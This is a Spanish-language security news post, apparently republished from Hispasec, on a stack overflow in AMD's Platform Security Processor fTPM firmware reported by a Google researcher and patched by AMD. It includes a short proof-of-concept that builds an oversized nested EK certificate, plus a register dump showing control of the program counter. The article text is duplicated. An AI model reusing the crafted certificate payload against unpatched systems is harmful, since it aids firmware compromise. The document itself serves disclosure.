Ejecución remota de código en AMD Secure Processor
Cfir Cohen, del equipo de investigadores de seguridad de Google, ha descubierto un fallo en los microcontroladores PSP de AMD que permitiría a un atacante remoto ejecutar código arbitrario.
AMD Secure Procesor o AMD PSP (Platform Security Processor) es un microcontrolador incluido en los procesadores AMD dedicado entre otras cosas a gestionar la seguridad de los procesos.
La vulnerabilidad permitiría a un atacante remoto ejecutar código arbitrario debido a un error de validación en el código del firmware del módulo TPM (Módulo de plataforma confiable)
Para ello, el atacante podría utilizar un certificado especialmente manipulado que provocara un desbordamiento de la pila en la función 'EkCheckCurrentCert'. Esta función es llamada a través de otra: 'TPM2_CreatePrimary', que no comprueba si la longitud de los certificados (EK) está dentro de los límites, lo que podría provocar el desbordamiento de la pila:
NESTED_CERT_DATA1 = '\x03\x82\x07\xf0' + 'A * 0x7f0
NESTED_CERT_DATA2 = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA1)) +
NESTED_CERT_DATA1
CERT_DATA = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA2)) +
NESTED_CERT_DATA2
En esta prueba de concepto se consigue el control total del contador de programa:
EkCheckCurrentCert+c8 : B loc_10EE4
EkCheckCurrentCert+60 : LDR R4, =0xB80
EkCheckCurrentCert+62 : ADDS R4, #0x14
EkCheckCurrentCert+64 : ADD SP, R4
EkCheckCurrentCert+66 : POP {R4-R7,PC}
41414140 : ????
|
R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125
La vulnerabilidad fue debidamente notificada a AMD y corregida en una actualización de la BIOS.
AMD Secure Procesor o AMD PSP (Platform Security Processor) es un microcontrolador incluido en los procesadores AMD dedicado entre otras cosas a gestionar la seguridad de los procesos.
La vulnerabilidad permitiría a un atacante remoto ejecutar código arbitrario debido a un error de validación en el código del firmware del módulo TPM (Módulo de plataforma confiable)
Para ello, el atacante podría utilizar un certificado especialmente manipulado que provocara un desbordamiento de la pila en la función 'EkCheckCurrentCert'. Esta función es llamada a través de otra: 'TPM2_CreatePrimary', que no comprueba si la longitud de los certificados (EK) está dentro de los límites, lo que podría provocar el desbordamiento de la pila:
NESTED_CERT_DATA1 = '\x03\x82\x07\xf0' + 'A * 0x7f0
NESTED_CERT_DATA2 = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA1)) +
NESTED_CERT_DATA1
CERT_DATA = '\x03\x82' + pack('>H', len(NESTED_CERT_DATA2)) +
NESTED_CERT_DATA2
En esta prueba de concepto se consigue el control total del contador de programa:
EkCheckCurrentCert+c8 : B loc_10EE4
EkCheckCurrentCert+60 : LDR R4, =0xB80
EkCheckCurrentCert+62 : ADDS R4, #0x14
EkCheckCurrentCert+64 : ADD SP, R4
EkCheckCurrentCert+66 : POP {R4-R7,PC}
41414140 : ????
|
R0=ff,R1=f00242c,R2=f001c24,R3=824,R4=41414141,R5=41414141,R6=41414141,R7=41414141,PC=41414140,SP=f003000,LR=11125
La vulnerabilidad fue debidamente notificada a AMD y corregida en una actualización de la BIOS.
Más información:
AMD-PSP: fTPM Remote Code Execution via crafted EK certificate
http://seclists.org/fulldisclosure/2018/Jan/12
Secure Hardware and the Creation of an Open Trusted Ecosystem
https://classic.regonline.com/custImages/360000/369552/TCC%20PPTs/TCC2013_VanDoorn.pdf
http://seclists.org/fulldisclosure/2018/Jan/12
Secure Hardware and the Creation of an Open Trusted Ecosystem
https://classic.regonline.com/custImages/360000/369552/TCC%20PPTs/TCC2013_VanDoorn.pdf
Via: unaaldia.hispasec.com
Ejecución remota de código en AMD Secure Processor
Reviewed by Zion3R
on
6:15
Rating: